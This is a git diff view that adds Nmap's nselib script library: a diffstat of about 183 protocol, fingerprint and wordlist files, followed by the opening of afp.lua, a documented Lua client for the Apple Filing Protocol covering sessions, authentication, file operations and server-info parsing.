summaryrefslogtreecommitdiffstats
path: root/nselib
diff options
context:
space:
mode:
Diffstat (limited to '')
-rw-r--r--nselib/afp.lua2124
-rw-r--r--nselib/ajp.lua546
-rw-r--r--nselib/amqp.lua333
-rw-r--r--nselib/anyconnect.lua144
-rw-r--r--nselib/asn1.lua527
-rw-r--r--nselib/base32.lua245
-rw-r--r--nselib/base64.lua203
-rw-r--r--nselib/bin.lua367
-rw-r--r--nselib/bitcoin.lua628
-rw-r--r--nselib/bits.lua79
-rw-r--r--nselib/bittorrent.lua1053
-rw-r--r--nselib/bjnp.lua363
-rw-r--r--nselib/brute.lua1551
-rw-r--r--nselib/cassandra.lua190
-rw-r--r--nselib/citrixxml.lua528
-rw-r--r--nselib/coap.lua2675
-rw-r--r--nselib/comm.lua294
-rw-r--r--nselib/creds.lua541
-rw-r--r--nselib/cvs.lua96
-rw-r--r--nselib/data/dns-srv-names74
-rw-r--r--nselib/data/drupal-modules.lst17447
-rw-r--r--nselib/data/drupal-themes.lst1333
-rw-r--r--nselib/data/enterprise_numbers.txt59209
-rw-r--r--nselib/data/favicon-db133
-rw-r--r--nselib/data/http-default-accounts-fingerprints.lua1738
-rw-r--r--nselib/data/http-devframework-fingerprints.lua440
-rw-r--r--nselib/data/http-fingerprints.lua12859
-rw-r--r--nselib/data/http-folders.txt910
-rw-r--r--nselib/data/http-sql-errors.lst112
-rw-r--r--nselib/data/http-web-files-extensions.lst214
-rwxr-xr-xnselib/data/idnaMappings.lua13307
-rw-r--r--nselib/data/ike-fingerprints.lua2473
-rw-r--r--nselib/data/jdwp-class/JDWPExecCmd.java31
-rw-r--r--nselib/data/jdwp-class/JDWPSystemInfo.java41
-rw-r--r--nselib/data/jdwp-class/README.txt26
-rw-r--r--nselib/data/mgroupnames.db485
-rw-r--r--nselib/data/mysql-cis.audit228
-rw-r--r--nselib/data/oracle-default-accounts.lst687
-rw-r--r--nselib/data/oracle-sids735
-rw-r--r--nselib/data/packetdecoders.lua936
-rw-r--r--nselib/data/passwords.lst5007
-rw-r--r--nselib/data/pixel.gifbin0 -> 51 bytes
-rw-r--r--nselib/data/psexec/README15
-rw-r--r--nselib/data/psexec/backdoor.lua27
-rw-r--r--nselib/data/psexec/default.lua144
-rw-r--r--nselib/data/psexec/drives.lua49
-rw-r--r--nselib/data/psexec/examples.lua68
-rw-r--r--nselib/data/psexec/experimental.lua24
-rw-r--r--nselib/data/psexec/network.lua113
-rw-r--r--nselib/data/psexec/nmap_service.c380
-rw-r--r--nselib/data/psexec/nmap_service.vcproj194
-rw-r--r--nselib/data/psexec/pwdump.lua52
-rw-r--r--nselib/data/publickeydb3
-rw-r--r--nselib/data/rtsp-urls.txt178
-rw-r--r--nselib/data/snmpcommunities.lst27
-rw-r--r--nselib/data/ssl-fingerprints2077
-rw-r--r--nselib/data/targets-ipv6-wordlist2651
-rw-r--r--nselib/data/tftp-fingerprints.lua146
-rw-r--r--nselib/data/tftplist.txt255
-rw-r--r--nselib/data/usernames.lst10
-rw-r--r--nselib/data/vhosts-default.lst128
-rw-r--r--nselib/data/vhosts-full.lst498
-rw-r--r--nselib/data/wp-plugins.lst50553
-rw-r--r--nselib/data/wp-themes.lst4778
-rw-r--r--nselib/datafiles.lua342
-rw-r--r--nselib/datetime.lua252
-rw-r--r--nselib/dhcp.lua648
-rw-r--r--nselib/dhcp6.lua661
-rw-r--r--nselib/dicom.lua272
-rw-r--r--nselib/dns.lua1837
-rw-r--r--nselib/dnsbl.lua624
-rw-r--r--nselib/dnssd.lua397
-rw-r--r--nselib/drda.lua775
-rw-r--r--nselib/eap.lua291
-rw-r--r--nselib/eigrp.lua382
-rw-r--r--nselib/formulas.lua220
-rw-r--r--nselib/ftp.lua307
-rw-r--r--nselib/geoip.lua138
-rw-r--r--nselib/giop.lua633
-rw-r--r--nselib/gps.lua126
-rw-r--r--nselib/http.lua3226
-rw-r--r--nselib/httpspider.lua1075
-rw-r--r--nselib/iax2.lua340
-rw-r--r--nselib/idna.lua565
-rw-r--r--nselib/ike.lua550
-rw-r--r--nselib/imap.lua280
-rw-r--r--nselib/informix.lua1333
-rw-r--r--nselib/ipOps.lua888
-rw-r--r--nselib/ipmi.lua306
-rw-r--r--nselib/ipp.lua438
-rw-r--r--nselib/irc.lua37
-rw-r--r--nselib/iscsi.lua729
-rw-r--r--nselib/isns.lua556
-rw-r--r--nselib/jdwp.lua1079
-rw-r--r--nselib/json.lua443
-rw-r--r--nselib/knx.lua87
-rw-r--r--nselib/ldap.lua917
-rw-r--r--nselib/lfs.luadoc48
-rw-r--r--nselib/libssh2-utility.lua184
-rw-r--r--nselib/libssh2.luadoc120
-rw-r--r--nselib/listop.lua184
-rw-r--r--nselib/lpeg-utility.lua170
-rw-r--r--nselib/lpeg.luadoc10
-rw-r--r--nselib/ls.lua368
-rw-r--r--nselib/match.lua62
-rw-r--r--nselib/membase.lua337
-rw-r--r--nselib/mobileme.lua242
-rw-r--r--nselib/mongodb.lua973
-rw-r--r--nselib/mqtt.lua1016
-rw-r--r--nselib/msrpc.lua5309
-rw-r--r--nselib/msrpcperformance.lua620
-rw-r--r--nselib/msrpctypes.lua4712
-rw-r--r--nselib/mssql.lua3467
-rw-r--r--nselib/multicast.lua179
-rw-r--r--nselib/mysql.lua569
-rw-r--r--nselib/natpmp.lua222
-rw-r--r--nselib/nbd.lua596
-rw-r--r--nselib/ncp.lua1116
-rw-r--r--nselib/ndmp.lua423
-rw-r--r--nselib/netbios.lua489
-rw-r--r--nselib/nmap.luadoc839
-rw-r--r--nselib/nrpc.lua164
-rw-r--r--nselib/nsedebug.lua131
-rw-r--r--nselib/omp2.lua181
-rw-r--r--nselib/oops.lua131
-rw-r--r--nselib/openssl.luadoc212
-rw-r--r--nselib/ospf.lua534
-rw-r--r--nselib/outlib.lua79
-rw-r--r--nselib/packet.lua1075
-rw-r--r--nselib/pgsql.lua620
-rw-r--r--nselib/pop3.lua235
-rw-r--r--nselib/pppoe.lua1010
-rw-r--r--nselib/proxy.lua314
-rw-r--r--nselib/punycode.lua479
-rw-r--r--nselib/rand.lua94
-rw-r--r--nselib/rdp.lua453
-rw-r--r--nselib/re.lua321
-rw-r--r--nselib/redis.lua148
-rw-r--r--nselib/rmi.lua1552
-rw-r--r--nselib/rpc.lua3490
-rw-r--r--nselib/rpcap.lua435
-rw-r--r--nselib/rsync.lua175
-rw-r--r--nselib/rtsp.lua291
-rw-r--r--nselib/sasl.lua510
-rw-r--r--nselib/shortport.lua376
-rw-r--r--nselib/sip.lua894
-rw-r--r--nselib/slaxml.lua449
-rw-r--r--nselib/smb.lua4456
-rw-r--r--nselib/smb2.lua392
-rw-r--r--nselib/smbauth.lua991
-rw-r--r--nselib/smtp.lua655
-rw-r--r--nselib/snmp.lua598
-rw-r--r--nselib/socks.lua283
-rw-r--r--nselib/srvloc.lua345
-rw-r--r--nselib/ssh1.lua275
-rw-r--r--nselib/ssh2.lua403
-rw-r--r--nselib/sslcert.lua1094
-rw-r--r--nselib/sslv2.lua366
-rw-r--r--nselib/stdnse.lua1047
-rw-r--r--nselib/strbuf.lua141
-rw-r--r--nselib/strict.lua88
-rw-r--r--nselib/stringaux.lua140
-rw-r--r--nselib/stun.lua388
-rw-r--r--nselib/tab.lua129
-rw-r--r--nselib/tableaux.lua91
-rw-r--r--nselib/target.lua115
-rw-r--r--nselib/tftp.lua347
-rw-r--r--nselib/tls.lua1988
-rw-r--r--nselib/tn3270.lua1402
-rw-r--r--nselib/tns.lua1798
-rw-r--r--nselib/unicode.lua467
-rw-r--r--nselib/unittest.lua524
-rw-r--r--nselib/unpwdb.lua338
-rw-r--r--nselib/upnp.lua348
-rw-r--r--nselib/url.lua543
-rw-r--r--nselib/versant.lua284
-rw-r--r--nselib/vnc.lua828
-rw-r--r--nselib/vulns.lua2317
-rw-r--r--nselib/vuzedht.lua548
-rw-r--r--nselib/wsdd.lua382
-rw-r--r--nselib/xdmcp.lua407
-rw-r--r--nselib/xmpp.lua456
-rw-r--r--nselib/zlib.luadoc111
183 files changed, 275729 insertions, 0 deletions
diff --git a/nselib/afp.lua b/nselib/afp.lua
new file mode 100644
index 0000000..18c49c2
--- /dev/null
+++ b/nselib/afp.lua
@@ -0,0 +1,2124 @@
+---
+-- This library was written by Patrik Karlsson <patrik@cqure.net> to facilitate
+-- communication with the Apple AFP Service. It is not feature complete and
+-- still missing several functions.
+--
+-- The library currently supports
+-- * Authentication using the DHX UAM (CAST128)
+-- * File reading and writing
+-- * Listing sharepoints
+-- * Listing directory contents
+-- * Querying ACLs and mapping user identities (UIDs)
+--
+-- The library was built based on the following reference:
+-- http://developer.apple.com/mac/library/documentation/Networking/Reference/AFP_Reference/Reference/reference.html
+-- http://developer.apple.com/mac/library/documentation/Networking/Conceptual/AFP/AFPSecurity/AFPSecurity.html#//apple_ref/doc/uid/TP40000854-CH232-CHBBAGCB
+--
+-- Most functions have been tested against both Mac OS X 10.6.2 and Netatalk 2.0.3
+--
+-- The library contains the following four classes
+-- * <code>Response</code>
+-- ** A class used as return value by functions in the <code>Proto</code> class.
+-- ** The response class acts as a wrapper and holds the response data and any error information.
+-- * <code>Proto</code>
+-- ** This class contains all the AFP specific functions and calls.
+-- ** The functions can be accessed directly but the preferred method is through the <code>Helper</code> class.
+-- ** The function names closely resemble those described in the Apple documentation.
+-- ** Some functions may lack some of the options outlined in Apple's documentation.
+-- * <code>Helper</code>
+-- ** The helper class wraps the <code>Proto</code> class using functions with a more descriptive name.
+-- ** Functions are task-oriented. For example, <code>ReadFile</code> and usually call several functions in the <code>Proto</code> class.
+-- ** The purpose of this class is to give developers easy access to some of the common AFP tasks.
+-- * <code>Util</code>
+-- ** The <code>Util</code> class contains a number of static functions mainly used to convert data.
+--
+-- The following information will describe how to use the AFP Helper class to communicate with an AFP server.
+--
+-- The short version:
+-- <code>
+-- helper = afp.Helper:new()
+-- status, response = helper:OpenSession( host, port )
+-- status, response = helper:Login()
+-- .. do some fancy AFP stuff ..
+-- status, response = helper:Logout()
+-- status, response = helper:CloseSession()
+-- </code>
+--
+-- Here's the longer version, with some explanatory text. To start using the Helper class,
+-- the script has to create its own instance. We do this by issuing the following:
+-- <code>
+-- helper = afp.Helper:new()
+-- </code>
+--
+-- Next a session to the AFP server must be established, this is done using the OpenSession method of the
+-- Helper class, like this:
+-- <code>
+-- status, response = helper:OpenSession( host, port )
+-- </code>
+--
+-- The next step needed to be performed is to authenticate to the server. We need to do this even for
+-- functions that are available publicly. In order to authenticate as the public user simply
+-- authenticate using nil for both username and password. This can be achieved by calling the Login method
+-- without any parameters, like this:
+-- <code>
+-- status, response = helper:Login()
+-- </code>
+--
+-- To authenticate to the server using the username 'admin' and password 'nimda' we do this instead:
+-- <code>
+-- status, response = helper:Login('admin', 'nimda')
+-- </code>
+--
+-- At this stage we're authenticated and can call any of the AFP functions we're authorized to.
+-- For the purpose of this documentation, we will attempt to list the servers share points.
+-- We do this by issuing the following:
+-- <code>
+-- status, shares = helper:ListShares()
+-- </code>
+--
+-- Once we're finished, we need to logout and close the AFP session this is done by calling the
+-- following two methods of the Helper class:
+-- <code>
+-- status, response = helper:Logout()
+-- status, response = helper:CloseSession()
+-- </code>
+--
+-- Consult the documentation of each function to learn more about their respective return values.
+--
+--@author Patrik Karlsson <patrik@cqure.net>
+--@copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- @args afp.username The username to use for authentication.
+-- @args afp.password The password to use for authentication.
+
+--
+-- Version 0.5
+--
+-- Created 01/03/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/20/2010 - v0.2 - updated all bitmaps to hex for better readability
+-- Revised 02/15/2010 - v0.3 - added a bunch of new functions and re-designed the code to be OO
+--
+-- New functionality added as of v0.3
+-- o File reading, writing
+-- o Authentication
+-- o Helper functions for most AFP functions
+-- o More robust error handling
+--
+-- Revised 03/05/2010 - v0.4 - changed output table of Helper:Dir to include type and ID
+-- - added support for --without-openssl
+--
+-- Revised 03/09/2010 - v0.5 - documentation, documentation and more documentation
+-- Revised 04/03/2011 - v0.6 - add support for getting file- sizes, dates and Unix ACLs
+-- - moved afp.username & afp.password arguments to library
+
+local datetime = require "datetime"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+_ENV = stdnse.module("afp", stdnse.seeall);
+
+local HAVE_SSL, openssl = pcall(require,'openssl')
+
+-- Table of valid REQUESTs
+local REQUEST = {
+ CloseSession = 0x01,
+ OpenSession = 0x04,
+ Command = 0x02,
+ GetStatus = 0x03,
+ Write = 0x06,
+}
+
+-- Table of headers flags to be set accordingly in requests and responses
+local FLAGS = {
+ Request = 0,
+ Response = 1
+}
+
+-- Table of possible AFP_COMMANDs
+COMMAND = {
+ FPCloseVol = 0x02,
+ FPCloseFork = 0x04,
+ FPCopyFile = 0x05,
+ FPCreateDir = 0x06,
+ FPCreateFile = 0x07,
+ FPGetSrvrInfo = 0x0f,
+ FPGetSrvParms = 0x10,
+ FPLogin = 0x12,
+ FPLoginCont = 0x13,
+ FPLogout = 0x14,
+ FPMapId = 0x15,
+ FPMapName = 0x16,
+ FPGetUserInfo = 0x25,
+ FPOpenVol = 0x18,
+ FPOpenFork = 0x1a,
+ FPGetFileDirParams = 0x22,
+ FPChangePassword = 0x24,
+ FPReadExt = 0x3c,
+ FPWriteExt = 0x3d,
+ FPGetAuthMethods = 0x3e,
+ FPLoginExt = 0x3f,
+ FPEnumerateExt2 = 0x44,
+}
+
+USER_BITMAP = {
+ UserId = 0x01,
+ PrimaryGroupId = 0x2,
+ UUID = 0x4
+}
+
+VOL_BITMAP = {
+ Attributes = 0x1,
+ Signature = 0x2,
+ CreationDate = 0x4,
+ ModificationDate = 0x8,
+ BackupDate = 0x10,
+ ID = 0x20,
+ BytesFree = 0x40,
+ BytesTotal = 0x80,
+ Name = 0x100,
+ ExtendedBytesFree = 0x200,
+ ExtendedBytesTotal = 0x400,
+ BlockSize = 0x800
+}
+
+FILE_BITMAP = {
+ Attributes = 0x1,
+ ParentDirId = 0x2,
+ CreationDate = 0x4,
+ ModificationDate = 0x8,
+ BackupDate = 0x10,
+ FinderInfo = 0x20,
+ LongName = 0x40,
+ ShortName = 0x80,
+ NodeId = 0x100,
+ DataForkSize = 0x200,
+ ResourceForkSize = 0x400,
+ ExtendedDataForkSize = 0x800,
+ LaunchLimit = 0x1000,
+ UTF8Name = 0x2000,
+ ExtendedResourceForkSize = 0x4000,
+ UnixPrivileges = 0x8000,
+ ALL = 0xFFFF
+}
+
+DIR_BITMAP = {
+ Attributes = 0x1,
+ ParentDirId = 0x2,
+ CreationDate = 0x4,
+ ModificationDate = 0x8,
+ BackupDate = 0x10,
+ FinderInfo = 0x20,
+ LongName = 0x40,
+ ShortName = 0x80,
+ NodeId = 0x100,
+ OffspringCount = 0x200,
+ OwnerId = 0x400,
+ GroupId = 0x800,
+ AccessRights = 0x1000,
+ UTF8Name = 0x2000,
+ UnixPrivileges = 0x8000,
+ ALL = 0xBFFF,
+}
+
+PATH_TYPE = {
+ ShortName = 1,
+ LongName = 2,
+ UTF8Name = 3,
+}
+
+ACCESS_MODE = {
+ Read = 0x1,
+ Write = 0x2,
+ DenyRead = 0x10,
+ DenyWrite = 0x20
+}
+
+-- Access controls
+ACLS = {
+ OwnerSearch = 0x1,
+ OwnerRead = 0x2,
+ OwnerWrite = 0x4,
+
+ GroupSearch = 0x100,
+ GroupRead = 0x200,
+ GroupWrite = 0x400,
+
+ EveryoneSearch = 0x10000,
+ EveryoneRead = 0x20000,
+ EveryoneWrite = 0x40000,
+
+ UserSearch = 0x100000,
+ UserRead = 0x200000,
+ UserWrite = 0x400000,
+
+ BlankAccess = 0x10000000,
+ UserIsOwner = 0x80000000
+}
+
+-- User authentication modules
+UAM =
+{
+ NoUserAuth = "No User Authent",
+ ClearText = "Cleartxt Passwrd",
+ RandNum = "Randnum Exchange",
+ TwoWayRandNum = "2-Way Randnum",
+ DHCAST128 = "DHCAST128",
+ DHX2 = "DHX2",
+ Kerberos = "Client Krb v2",
+ Reconnect = "Recon1",
+}
+
+ERROR =
+{
+ SocketError = 1000,
+ CustomError = 0xdeadbeef,
+
+ FPNoErr = 0,
+ FPAccessDenied = -5000,
+ FPAuthContinue = -5001,
+ FPBadUAM = -5002,
+ FPBadVersNum = -5003,
+ FPBitmapErr = - 5004,
+ FPCantMove = - 5005,
+ FPEOFErr = -5009,
+ FPItemNotFound = -5012,
+ FPLockErr = -5013,
+ FPMiscErr = -5014,
+ FPObjectExists = -5017,
+ FPObjectNotFound = -5018,
+ FPParamErr = -5019,
+ FPUserNotAuth = -5023,
+ FPCallNotSupported = -5024,
+}
+
+MAP_ID =
+{
+ UserIDToName = 1,
+ GroupIDToName = 2,
+ UserIDToUTF8Name = 3,
+ GroupIDToUTF8Name = 4,
+ UserUUIDToUTF8Name = 5,
+ GroupUUIDToUTF8Name = 6
+}
+
+MAP_NAME =
+{
+ NameToUserID = 1,
+ NameToGroupID = 2,
+ UTF8NameToUserID = 3,
+ UTF8NameToGroupID = 4,
+ UTF8NameToUserUUID = 5,
+ UTF8NameToGroupUUID = 6
+}
+
+
+SERVERFLAGS =
+{
+ CopyFile = 0x01,
+ ChangeablePasswords = 0x02,
+ NoPasswordSaving = 0x04,
+ ServerMessages = 0x08,
+ ServerSignature = 0x10,
+ TCPoverIP = 0x20,
+ ServerNotifications = 0x40,
+ Reconnect = 0x80,
+ OpenDirectory = 0x100,
+ UTF8ServerName = 0x200,
+ UUIDs = 0x400,
+ SuperClient = 0x8000
+}
+
+local ERROR_MSG = {
+ [ERROR.FPAccessDenied]="Access Denied",
+ [ERROR.FPAuthContinue]="Authentication is not yet complete",
+ [ERROR.FPBadUAM]="Specified UAM is unknown",
+ [ERROR.FPBadVersNum]="Server does not support the specified AFP version",
+ [ERROR.FPBitmapErr]="Attempt was made to get or set a parameter that cannot be obtained or set with this command, or a required bitmap is null",
+ [ERROR.FPCantMove]="Attempt was made to move a directory into one of its descendant directories.",
+ [ERROR.FPEOFErr]="No more matches or end of fork reached.",
+ [ERROR.FPLockErr]="Some or all of the requested range is locked by another user; a lock range conflict exists.",
+ [ERROR.FPMiscErr]="Non-AFP error occurred.",
+ [ERROR.FPObjectNotFound]="Input parameters do not point to an existing directory, file, or volume.",
+ [ERROR.FPParamErr]="Parameter error.",
+ [ERROR.FPObjectExists] = "File or directory already exists.",
+ [ERROR.FPUserNotAuth] = "UAM failed (the specified old password doesn't match); no user is logged in yet for the specified session; authentication failed; password is incorrect.",
+ [ERROR.FPItemNotFound] = "Specified APPL mapping, comment, or icon was not found in the Desktop database; specified ID is unknown.",
+ [ERROR.FPCallNotSupported] = "Server does not support this command.",
+}
+
+-- Dates are shifted forward one day to avoid referencing 12/31/1969 UTC
+-- when specifying 1/1/1970 (local) in a timezone that is ahead of UTC
+local TIME_OFFSET = os.time({year=2000, month=1, day=2, hour=0}) - os.time({year=1970, month=1, day=2, hour=0})
+
+-- Check if all the bits in flag are set in bitmap.
+local function flag_is_set(bitmap, flag)
+ return (bitmap & flag) == flag
+end
+
+-- Serialize path of a given type
+-- NB: For now the actual UTF-8 encoding is ignored
+local function encode_path (path)
+ if path.type == PATH_TYPE.ShortName or path.type == PATH_TYPE.LongName then
+ return string.pack("Bs1", path.type, path.name)
+ elseif path.type == PATH_TYPE.UTF8Name then
+ return string.pack(">BI4s2", path.type, 0x08000103, path.name)
+ end
+ assert(false, ("Unrecognized path type '%s'"):format(tostring(path.type)))
+end
+
+-- Response class returned by all functions in Proto
+Response = {
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sets the error code
+ --
+ -- @param code number containing the error code
+ setErrorCode = function( self, code )
+ self.error_code = code
+ end,
+
+ --- Gets the error code
+ --
+ -- @return code number containing the error code
+ getErrorCode = function( self )
+ return self.error_code
+ end,
+
+ --- Gets the error message
+ --
+ -- @return msg string containing the error
+ getErrorMessage = function(self)
+ if self.error_msg then
+ return self.error_msg
+ else
+ return ERROR_MSG[self.error_code] or ("Unknown error (%d) occurred"):format(self.error_code)
+ end
+ end,
+
+ --- Sets the error message
+ --
+ -- @param msg string containing the error message
+ setErrorMessage = function(self, msg)
+ self.error_code = ERROR.CustomError
+ self.error_msg = msg
+ end,
+
+ --- Sets the result
+ --
+ -- @param result result to set
+ setResult = function(self, result)
+ self.result = result
+ end,
+
+ --- Get the result
+ --
+ -- @return result
+ getResult = function(self)
+ return self.result
+ end,
+
+ --- Sets the packet
+ setPacket = function( self, packet )
+ self.packet = packet
+ end,
+
+ getPacket = function( self )
+ return self.packet
+ end,
+
+ --- Gets the packet data
+ getPacketData = function(self)
+ return self.packet.data
+ end,
+
+ --- Gets the packet header
+ getPacketHeader = function(self)
+ return self.packet.header
+ end,
+}
+
+--- Proto class containing all AFP specific code
+--
+-- For more details consult:
+-- http://developer.apple.com/mac/library/documentation/Networking/Reference/AFP_Reference/Reference/reference.html
+Proto = {
+
+ RequestId = 1,
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ setSocket = function(self, socket)
+ self.socket = socket
+ end,
+
+ --- Creates an AFP packet
+ --
+ -- @param command number should be one of the commands in the COMMAND table
+ -- @param data_offset number holding the offset to the data
+ -- @param data the actual data of the request
+ create_fp_packet = function( self, command, data_offset, data )
+ local reserved = 0
+ local data = data or ""
+ local data_len = data:len()
+ local header = string.pack(">BBI2I4I4I4", FLAGS.Request, command, self.RequestId, data_offset, data_len, reserved)
+
+ self.RequestId = self.RequestId + 1
+ return header .. data
+ end,
+
+ --- Parses the FP header (first 16-bytes of packet)
+ --
+ -- @param packet string containing the raw packet
+ -- @return table with header data containing <code>flags</code>, <code>command</code>,
+ -- <code>request_id</code>, <code>error_code</code>, <code>length</code> and <code>reserved</code> fields
+ parse_fp_header = function( self, packet )
+ local header = {}
+ local pos
+
+ header.flags, header.command, header.request_id, pos = string.unpack( ">BBI2", packet )
+ header.error_code, header.length, header.reserved, pos = string.unpack( ">i4I4I4", packet, pos )
+
+ if header.error_code ~= 0 then
+ header.error_msg = ERROR_MSG[header.error_code] or ("Unknown error: %d"):format(header.error_code)
+ header.error_msg = "ERROR: " .. header.error_msg
+ end
+ header.raw = packet:sub(1,16)
+ return header
+ end,
+
+ --- Reads a AFP packet of the socket
+ --
+ -- @return Response object
+ read_fp_packet = function( self )
+
+ local packet = {}
+ local buf = ""
+ local status, response
+
+ status, buf = self.socket:receive_bytes(16)
+ if ( not status ) then
+ response = Response:new()
+ response:setErrorCode(ERROR.SocketError)
+ response:setErrorMessage(buf)
+ return response
+ end
+
+ packet.header = self:parse_fp_header( buf )
+ while buf:len() < packet.header.length + packet.header.raw:len() do
+ local tmp
+ status, tmp = self.socket:receive_bytes( packet.header.length + 16 - buf:len() )
+ if not status then
+ response = Response:new()
+ response:setErrorCode(ERROR.SocketError)
+ response:setErrorMessage(buf)
+ return response
+ end
+ buf = buf .. tmp
+ end
+
+ packet.data = buf:len() > 16 and buf:sub( 17 ) or ""
+ response = Response:new()
+ response:setErrorCode(packet.header.error_code)
+ response:setPacket(packet)
+
+ return response
+ end,
+
+ --- Sends the raw packet over the socket
+ --
+ -- @param packet containing the raw data
+ -- @return Response object
+ send_fp_packet = function( self, packet )
+ return self.socket:send(packet)
+ end,
+
+ --- Sends an DSIOpenSession request to the server and handles the response
+ --
+ -- @return Response object
+ dsi_open_session = function( self, host, port )
+ local data_offset = 0
+ local option = 0x01 -- Attention Quantum
+ local option_len = 4
+ local quantum = 1024
+ local data, packet, status
+
+ data = string.pack( ">BBI4", option, option_len, quantum )
+ packet = self:create_fp_packet( REQUEST.OpenSession, data_offset, data )
+
+ self:send_fp_packet( packet )
+ return self:read_fp_packet()
+ end,
+
+ --- Sends an DSICloseSession request to the server and handles the response
+ dsi_close_session = function( self )
+ local data_offset = 0
+ local option = 0x01 -- Attention Quantum
+ local option_len = 4
+ local quantum = 1024
+ local data, packet, status
+
+ data = ""
+ packet = self:create_fp_packet( REQUEST.CloseSession, data_offset, data )
+
+ self:send_fp_packet( packet )
+ end,
+
+ -- Sends an FPCopyFile request to the server
+ --
+ -- @param src_vol number containing the ID of the src file volume
+ -- @param srd_did number containing the directory id of the src file
+ -- @param src_path string containing the file path/name of the src file
+ -- @param dst_vol number containing the ID of the dst file volume
+ -- @param dst_did number containing the id of the dest. directory
+ -- @param dst_path string containing the dest path (can be nil or "")
+ -- @param new_name string containing the new name of the destination
+ -- @return Response object
+ fp_copy_file = function(self, src_vol, src_did, src_path, dst_vol, dst_did, dst_path, new_name )
+ local data_offset = 0
+ local unicode_names, unicode_hint = 0x03, 0x08000103
+ local data, packet, response
+
+ -- make sure we have empty names rather than nil values
+ local dst_path = dst_path or ""
+ local src_path = src_path or ""
+ local new_name = new_name or ""
+
+ data = string.pack(">BxI2I4I2I4", COMMAND.FPCopyFile, src_vol, src_did, dst_vol, dst_did )
+ .. encode_path({type=PATH_TYPE.UTF8Name, name=src_path})
+ .. encode_path({type=PATH_TYPE.UTF8Name, name=dst_path})
+ .. encode_path({type=PATH_TYPE.UTF8Name, name=new_name})
+
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ return self:read_fp_packet()
+ end,
+
+ --- Sends an GetStatus DSI request (which is basically a FPGetSrvrInfo
+ -- AFP request) to the server and handles the response
+ --
+ -- @return status (true or false)
+ -- @return table with server information (if status is true) or error string
+ -- (if status is false)
+ fp_get_server_info = function(self)
+ local packet
+ local data_offset = 0
+ local response, result = {}, {}
+ local offsets = {}
+ local pos
+ local status
+
+ local data = string.pack("Bx", COMMAND.FPGetSrvrInfo)
+ packet = self:create_fp_packet(REQUEST.GetStatus, data_offset, data)
+ self:send_fp_packet(packet)
+ response = self:read_fp_packet()
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return response
+ end
+
+ packet = response.packet
+
+ -- parse and store the offsets in the 'header'
+ offsets.machine_type, offsets.afp_version_count,
+ offsets.uam_count, offsets.volume_icon_and_mask, pos
+ = string.unpack(">I2I2I2I2", packet.data)
+
+ -- the flags are directly in the 'header'
+ result.flags = {}
+ result.flags.raw, pos = string.unpack(">I2", packet.data, pos)
+
+ -- the short server name is stored directly in the 'header' as
+ -- well
+ result.server_name, pos = string.unpack("s1", packet.data, pos)
+
+ -- Server offset should begin at an even boundary see link below
+ -- http://developer.apple.com/mac/library/documentation/Networking/Reference/AFP_Reference/Reference/reference.html#//apple_ref/doc/uid/TP40003548-CH3-CHDIEGED
+ if (pos + 1) % 2 ~= 0 then
+ pos = pos + 1
+ end
+
+ -- and some more offsets
+ offsets.server_signature, offsets.network_addresses_count,
+ offsets.directory_names_count, offsets.utf8_server_name, pos
+ = string.unpack(">I2I2I2I2", packet.data, pos)
+
+ -- this sets up all the server flags in the response table as booleans
+ result.flags.SuperClient = flag_is_set(result.flags.raw, SERVERFLAGS.SuperClient)
+ result.flags.UUIDs = flag_is_set(result.flags.raw, SERVERFLAGS.UUIDs)
+ result.flags.UTF8ServerName = flag_is_set(result.flags.raw, SERVERFLAGS.UTF8ServerName)
+ result.flags.OpenDirectory = flag_is_set(result.flags.raw, SERVERFLAGS.OpenDirectory)
+ result.flags.Reconnect = flag_is_set(result.flags.raw, SERVERFLAGS.Reconnect)
+ result.flags.ServerNotifications = flag_is_set(result.flags.raw, SERVERFLAGS.ServerNotifications)
+ result.flags.TCPoverIP = flag_is_set(result.flags.raw, SERVERFLAGS.TCPoverIP)
+ result.flags.ServerSignature = flag_is_set(result.flags.raw, SERVERFLAGS.ServerSignature)
+ result.flags.ServerMessages = flag_is_set(result.flags.raw, SERVERFLAGS.ServerMessages)
+ result.flags.NoPasswordSaving = flag_is_set(result.flags.raw, SERVERFLAGS.NoPasswordSaving)
+ result.flags.ChangeablePasswords = flag_is_set(result.flags.raw, SERVERFLAGS.ChangeablePasswords)
+ result.flags.CopyFile = flag_is_set(result.flags.raw, SERVERFLAGS.CopyFile)
+
+ -- store the machine type
+ result.machine_type = string.unpack("s1", packet.data, offsets.machine_type + 1)
+
+ -- this tells us the number of afp versions supported
+ result.afp_version_count, pos = string.unpack("B", packet.data, offsets.afp_version_count + 1)
+
+ -- now we loop through them all, storing for the response
+ result.afp_versions = {}
+ for i = 1,result.afp_version_count do
+ local v
+ v, pos = string.unpack("s1", packet.data, pos)
+ table.insert(result.afp_versions, v)
+ end
+
+ -- same idea as the afp versions here
+ result.uam_count, pos = string.unpack("B", packet.data, offsets.uam_count + 1)
+
+ result.uams = {}
+ for i = 1,result.uam_count do
+ local uam
+ uam, pos = string.unpack("s1", packet.data, pos)
+ table.insert(result.uams, uam)
+ end
+
+ -- volume_icon_and_mask would normally be parsed out here,
+ -- however the apple docs say it is deprecated in Mac OS X, so
+ -- we don't bother with it
+
+ -- server signature is 16 bytes
+ result.server_signature = string.sub(packet.data, offsets.server_signature + 1, offsets.server_signature + 16)
+
+ -- this is the same idea as afp_version and uam above
+ result.network_addresses_count, pos = string.unpack("B", packet.data, offsets.network_addresses_count + 1)
+
+ result.network_addresses = {}
+
+ -- gets a little complicated in here, basically each entry has
+ -- a length byte, a tag byte, and then the data. We parse
+ -- differently based on the tag
+ for i = 1, result.network_addresses_count do
+ local length
+ local tag
+
+ length, tag, pos = string.unpack("BB", packet.data, pos)
+
+ if tag == 0x00 then
+ -- reserved, shouldn't ever come up, maybe this should
+ -- return an error? maybe not, lets just ignore this
+ elseif tag == 0x01 then
+ -- four byte ip
+ local ip
+ ip, pos = string.unpack("c4", packet.data, pos)
